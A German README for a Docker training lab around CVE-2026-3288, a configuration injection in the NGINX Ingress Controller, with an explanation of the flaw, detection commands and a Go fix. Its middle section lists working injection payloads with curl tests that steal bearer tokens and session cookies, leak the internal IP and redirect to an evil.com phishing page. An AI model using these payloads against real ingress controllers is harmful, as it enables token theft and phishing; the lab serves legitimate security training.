# Docker-basiertes verwundbares Labor für CVE-2026-3288 NGINX Ingress-Konfigurationsinjektion, mit Exploit-Skripten, Erkennungsüberwachung und Anleitung zur Behebung für autorisierte Sicherheitsschulungen.
⚠️ WARNUNG: Dieses Lab enthält absichtlich verwundbare Konfigurationen NUR FÜR AUTORISIERTE SICHERHEITSSCHULUNGEN
CVE-2026-3288 (CVSS 8.8 HOCH) - Konfigurations-Injection im NGINX Ingress Controller
") Injection in der Pfad-KonfigurationDie Funktion buildProxyPass() bereinigt die Pfad-Eingabe nicht, bevor sie in die nginx-Konfiguration interpoliert wird, wodurch Angreifer aus gequoteten Zeichenketten ausbrechen und beliebige nginx-Direktiven injizieren können.
CVE-2026-3288-lab/
├── README.md # Diese Datei
├── docker-compose.yml # Haupt-Lab-Setup
├── docker/
│ ├── nginx/
│ │ ├── Dockerfile # Verwundbares NGINX-Setup
│ │ ├── nginx.conf # Basis-Konfiguration
│ │ └── vulnerable-config.conf # Verwundbare Pfad-Behandlung
│ └── backend/
│ ├── Dockerfile # Einfache Backend-App
│ └── app.py # Flask-Anwendung
├── exploits/
│ ├── exploit.py # Automatisiertes Exploit-Skript
│ ├── payloads.txt # Sammlung von Exploit-Payloads
│ └── test-exploits.sh # Teste alle Exploits
├── detection/
│ └── monitor-logs.sh # Überwache auf Exploit-Versuche
└── cleanup/
└── cleanup.sh # Entferne alle Lab-Ressourcen
cd CVE-2026-3288-lab
# Verwundbare Umgebung starten
docker-compose up -d
# Status prüfen
docker-compose ps
# Testen, ob das Backend läuft
curl http://localhost:8080/
# Testen, ob NGINX läuft
curl http://localhost/
cd exploits
# Automatisierte Ausnutzung
python3 exploit.py --all
# Oder einzelne Exploits testen
bash test-exploits.sh
# NGINX-Logs auf Ausnutzung beobachten
docker-compose logs -f nginx
# Erkennung überwachen
cd detection
bash monitor-logs.sh
docker-compose down -v
Injiziere die nginx-return-Direktive, um angreiferkontrollierte Inhalte auszuliefern.
Payload:
/api" return 200 "HACKED BY ATTACKER
Test:
curl 'http://localhost/api" return 200 "HACKED'
Reflektiere Authorization-Header in der Antwort, um Bearer-Tokens zu stehlen.
Payload:
/login" return 200 "Token: $http_authorization
Test:
curl -H "Authorization: Bearer secret123" 'http://localhost/login" return 200 "Token: $http_authorization'
Leite Benutzer auf eine angreiferkontrollierte Phishing-Seite um.
Payload:
/" return 302 "https://evil.com/phishing
Test:
curl -I 'http://localhost/" return 302 "https://evil.com/phishing'
Leake interne Serverinformationen.
Payload:
/" return 200 "Internal IP: $server_addr
Test:
curl 'http://localhost/" return 200 "Internal IP: $server_addr'
Stehle Session-Cookies.
Payload:
/" return 200 "Cookies: $http_cookie
Test:
curl -H "Cookie: session=abc123" 'http://localhost/" return 200 "Cookies: $http_cookie'
# Verwundbare Konfiguration
location ~ "^/api" {
rewrite "(?i)/api" /backend break;
proxy_pass http://backend;
}
Wenn der Pfad " enthält, bricht es die gequotete Zeichenkette:
# Angreifer-Eingabe: /api" return 200 "HACKED
# Ergebnis:
location ~ "^/api" return 200 "HACKED" {
# Die ursprüngliche Konfiguration ist nun defekt
}
# Auf verdächtige Muster achten
docker-compose logs nginx | grep -E '(return|rewrite|set).*"'
# NGINX-Konfiguration auf injizierte Direktiven prüfen
docker exec cve-2026-3288-nginx cat /etc/nginx/nginx.conf | grep -A5 "location"
" und \ korrekt escapen// Vorher (verwundbar)
path := location.Path
config := fmt.Sprintf(`rewrite "(?i)%s" %s break;`, path, target)
// Nachher (behoben)
path := sanitizeQuotedRegex(location.Path)
config := fmt.Sprintf(`rewrite "(?i)%s" %s break;`, path, target)
Nach Abschluss dieses Labs verstehen Sie:
# Logs prüfen
docker-compose logs
# Neu starten
docker-compose restart
# Ports in docker-compose.yml ändern
# Oder konkurrierende Dienste stoppen
sudo lsof -i :80
# Prüfen, ob NGINX läuft
docker-compose ps nginx
# NGINX-Konfiguration prüfen
docker exec cve-2026-3288-nginx nginx -t
Erstellt ausschließlich für autorisierte Sicherheitsschulungen und Forschungszwecke